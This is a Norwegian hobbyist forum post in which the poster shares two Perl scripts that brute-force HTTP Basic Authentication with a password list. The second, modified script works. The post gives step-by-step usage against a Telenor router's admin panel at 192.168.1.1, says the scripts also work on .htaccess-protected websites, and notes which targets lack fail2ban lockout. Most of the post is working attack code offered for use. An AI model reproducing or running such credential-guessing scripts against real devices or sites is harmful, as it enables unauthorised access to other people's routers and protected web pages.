Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  0 688
Hei.
Jeg prøver å komme meg inn på en ruter, altså i form av admin-grensesnittet, ikke som i WEP, WPA og lignede.

Jeg fant et PERL-bruteforce script som brute-forcer .htaccess filer HER, koden er:

Kode

#!/usr/bin/perl
###
#
# brute password crackalacker.  useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid.  it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
  $progname = $0;
  print "+--- created by nwo ---+\n";
  print "$progname (ip) (user) (dictionary file)\n";
  print "\n";
  exit(0);
}

sub auth() {
  local($pw) = @_;
  $ua = LWP::UserAgent->new;
  $req = HTTP::Request->new(GET => "http://$ip/");
  $req->authorization_basic($user, $pw);
  @data = $ua->request($req)->as_string;
  foreach $line (@data) {
    if($line =~ /401/) {
      return "0";
    } else {
      return "1";
    }
  }
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
  $dict = "D8.DIC";
}
if($user eq "") { &usage; }

open(D, "$dict") || die "$!";
while() {
  chomp($line = $_);
  print "Trying $line....";
  if((&auth($line)) eq "0") {
    print "failed.  Next..\n";
    next;
  }
  if((&auth($line)) eq "1") {
    print "success!  Password is $line\n";
    exit(0);
  }
}
Men når jeg skriver ./bruteforce admin ordliste.txt får jeg bare ut dette:
Trying admin and .....failed. Next..
Hele tiden. Det virker ikke som den klarer å lese ordlista.
Men når jeg skriver passordet (Dette er altså ikke et reel angrep, bare for å teste) inn på " local($pw) = PASSORDET-SOM-JEG-VET;" i sub auth(), får jeg opp:
"success! Password is ";
uten å vise passordet...
....
Og ja, jeg har laga en fil som heter ordliste.txt, og sjekket denne. I denne står det KUN forskjellige passordkombinasjoner den skal prøve, uten noen spesielle tegn, slik:
passord1
passord2
passord3

osv....
Passordet som jeg vet hva er, står også i ordlista, både helt øverst og lenger ned...
Noen som vet hvorfor det ikke fungerer? Jeg har prøvd å sette meg litt i koden, men er ingen ekspert..

Nei, jeg fant visst en løsning. Jeg studerte og endret et skript som i utgangspunktet cracket NT-hasher, og prøvde å endre noen linjer slik at det ble som jeg ville:

Kode

#!/usr/bin/perl
###
use LWP::UserAgent;
$ip = $ARGV[0];
$user = $ARGV[1];
$file = $ARGV[2];
$count = 0;
open(myfile, "<$file");
printf("...\n");
while(defined($password = <myfile>)){
chomp($password);
  $ua = LWP::UserAgent->new;
  $req = HTTP::Request->new(GET => "http://$ip/");
  $req->authorization_basic($user, $password);
  @data = $ua->request($req)->as_string;
  foreach $line (@data) {
    if($line =~ /401/) {
      $ok = "0";
    } else {
      $ok = "1";
    }
  }
if ($count == 1) {
printf "Current password is: $password.\n";
$count = 0;
 }
$count = $count +1;
if ($ok == 1){
printf "successful validation with password \"$password\".\n";
close myfile;
 }
}
print "No password found... \n";
Dette fungerer jo ganske greit :-)
Til dere som ønsker å bruke dette selv, så bruker jeg det til å prøve å finne passordet til adminpanelet på et Telenor-rutermodem, du bruker skriptet slik:

./filnavn 192.168.1.1 admin passordliste.txt
filnavn bestemmer du selv, 192.168.1.1 er IP-adressen til ruteren du skal ha tilgang til. Admin er brukernavnet du forsøker med. Passordliste.txt er fila der du har alle passord den skal prøve.

Kan selvsagt brukes på vanlige nettsider som er sperret med .htaccess også, men du må huske at de fleste hoster gjerne har lagt inn fail2ban, som altså stenger ute din IP-adresse hvis du har altfor mange feil forsøk (Det har ikke telenor-modemet)
Sist endret av KRS93; 4. april 2011 kl. 01:23. Grunn: La til link i "HER"